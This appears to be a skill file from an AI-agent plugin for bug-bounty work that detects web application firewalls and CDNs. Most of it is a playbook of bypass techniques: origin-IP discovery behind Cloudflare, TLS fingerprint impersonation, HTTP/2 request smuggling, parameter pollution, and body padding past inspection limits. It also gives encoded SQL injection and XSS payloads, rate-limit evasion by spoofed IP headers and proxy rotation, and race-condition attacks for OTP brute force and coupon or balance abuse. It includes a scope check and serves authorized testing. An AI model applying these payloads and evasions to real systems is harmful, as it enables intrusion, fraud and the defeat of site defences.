Detect WAF/CDN protection on targets and suggest bypass techniques based on detected technology
From greyhatccnpx claudepluginhub overtimepog/greyhatcc --plugin greyhatccThis skill uses the workspace's default tool permissions.
Designs and optimizes AI agent action spaces, tool definitions, observation formats, error recovery, and context for higher task completion rates.
Enables AI agents to execute x402 payments with per-task budgets, spending controls, and non-custodial wallets via MCP tools. Use when agents pay for APIs, services, or other agents.
Compares coding agents like Claude Code and Aider on custom YAML-defined codebase tasks using git worktrees, measuring pass rate, cost, time, and consistency.
Part of the recon workflow, or standalone for specific targets.
Before executing this skill:
.greyhatcc/scope.json — verify target is in scope, note exclusions.greyhatcc/hunt-state.json — check active phase, resume contextfindings_log.md, tested.json, gadgets.json — avoid duplicating workUse MCP tool greyhatcc_sec__waf_detect to identify WAF/CDN.
Also check:
Server, X-CDN, X-Cache, CF-RAY (Cloudflare), X-Akamai-*, X-Amz-Cf-* (CloudFront)greyhatcc_sec__header_analysis for comprehensive header inspectiongreyhatcc_sec__tech_fingerprint for CDN detection layerOrigin Discovery (bypass the proxy entirely):
greyhatcc_s__shodan_ssl_cert with the target domain — find IPs serving the same cert without Cloudflare proxygreyhatcc_sec__dns_records + WebSearch for SecurityTrails/ViewDNS — find pre-Cloudflare IPsdig +short TXT <domain> | grep spf — mail server IPs often sit on the same host as the originhttp.favicon.hash:<hash> — finds origin by unique favicondig +short <domain> vs dig +short www.<domain> — sometimes apex is DNS-only (shows origin) while www is proxiedBot Bypass (when origin can't be found):
curl_cffi with Chrome impersonation (Python): Mimics full browser TLS fingerprintWAF Rule Bypass:
%2527), Unicode fullwidth characters (U+FF01-U+FF5E)application/json vs multipart/form-data vs text/xmlDetection: X-Akamai-* headers, Akamai Pragma headers, AkamaiGHost server banner
Cipher Stunting:
curl_cffi (Python) or CycleTLS (Go/JS) to randomize fingerprintsPlaywright Automation:
_abck cookie via JavaScript — headless must execute itRequest Evasion:
/./endpoint, //endpoint, /endpoint/Detection: Responses blocked by AWS WAF return specific error pages, x-amzn-RequestId headers
8KB Body Inspection Limit:
{"padding": "A"*8192, "payload": "<script>alert(1)</script>"}HTTP Parameter Pollution (HPP):
?q=sel&q=ect * fr&q=om usersContent-Type Switching:
application/json, multipart/form-data, text/xml, application/x-www-form-urlencodedMethod Override:
X-HTTP-Method-Override: PUT with POST request_method=DELETE parameter in bodyDetection: X-Azure-Ref header, Azure-specific error pages
OWASP CRS 3.2 (Outdated):
\' OR 1=1-- instead of ' OR 1=1--/*!50000SELECT*/ * /*!50000FROM*/ usersEncoding Tricks:
%2527 decodes to %27 which decodes to 'sElEcT/**/1/**/fRoM/**/usersDuplicate parameters to split payloads across WAF inspection:
?search=harmless&search=<script>alert(1)</script>
Backend behavior varies:
- ASP.NET: Concatenates with comma → "harmless,<script>alert(1)</script>"
- PHP: Uses last value → "<script>alert(1)</script>"
- Java: Uses first value → "harmless"
- Node/Express: Returns array → ["harmless", "<script>alert(1)</script>"]
Pad body past WAF inspection limit:
- AWS WAF: 8KB (some configs 16KB)
- Cloudflare: varies by plan
- Akamai: varies by config
- Azure: typically 128KB
Place payload AFTER the inspection limit boundary.
H2.CL and H2.TE via CRLF injection in HTTP/2 headers:
- Primary WAF bypass vector 2024-2025
- Tools: Burp HTTP Request Smuggler, http2smugl
- Works when frontend (WAF) and backend disagree on request boundaries
- Double URL encoding: %2527 for single quote
- Unicode fullwidth: U+FF01-U+FF5E (e.g., < instead of <)
- Null bytes: %00 can terminate WAF string matching
- Mixed case SQL: sElEcT, UnIoN, fRoM
- Comment padding: SEL/**/ECT, UN/**/ION
- Hex encoding: 0x53454C454354 for SELECT
- Base64 in parameters when backend decodes
Switch between content types to trigger different WAF parsing paths:
- application/json → application/xml (XXE potential)
- application/x-www-form-urlencoded → multipart/form-data
- application/json → text/plain (some APIs accept it)
Different parsing engines = different rule coverage
Cycle these headers to create separate rate limit buckets:
X-Forwarded-For: <random_ip>
X-Client-IP: <random_ip>
True-Client-IP: <random_ip>
CF-Connecting-IP: <random_ip>
X-Real-IP: <random_ip>
X-Originating-IP: <random_ip>
Race condition exploitation:
- Prepare all requests in HTTP/2 streams
- Withhold the final DATA frame for each
- Release all final frames simultaneously (single-packet attack)
- All requests arrive at the server within microseconds
- Use for: OTP brute force, coupon redemption, balance manipulation
100+ operations in a single HTTP request — rate limiter counts as 1:
{"query": "{
a1: user(id:1){email}
a2: user(id:2){email}
...
a100: user(id:100){email}
}"}
- Residential proxies: Best IP reputation for bypassing rate limits
- Cloud function rotation: Spin up Lambda/Cloud Functions per-request
- Tor exit node cycling: Last resort — many sites block Tor entirely
| Tool | Language | Approach | Reliability |
|---|---|---|---|
curl_cffi | Python | Chrome TLS impersonation | HIGH — mirrors real Chrome fingerprint |
CycleTLS | Go/JS | Configurable TLS fingerprint | HIGH — can mimic any browser |
| Playwright | Any | Full real browser stack | HIGHEST — is a real browser |
tls-client | Go | Custom TLS configuration | MEDIUM — requires manual tuning |
First attempt: Standard curl
If blocked: curl_cffi with Chrome impersonation
If still blocked: Playwright with real Chrome (headful if possible)
If still blocked: Playwright + residential proxy + realistic browsing pattern
Save to recon/waf_detection.md with:
After completing this skill:
tested.json — record what was tested (asset + vuln class)gadgets.json — add any informational findings with provides/requires tags for chainingfindings_log.md — log any confirmed findings with severity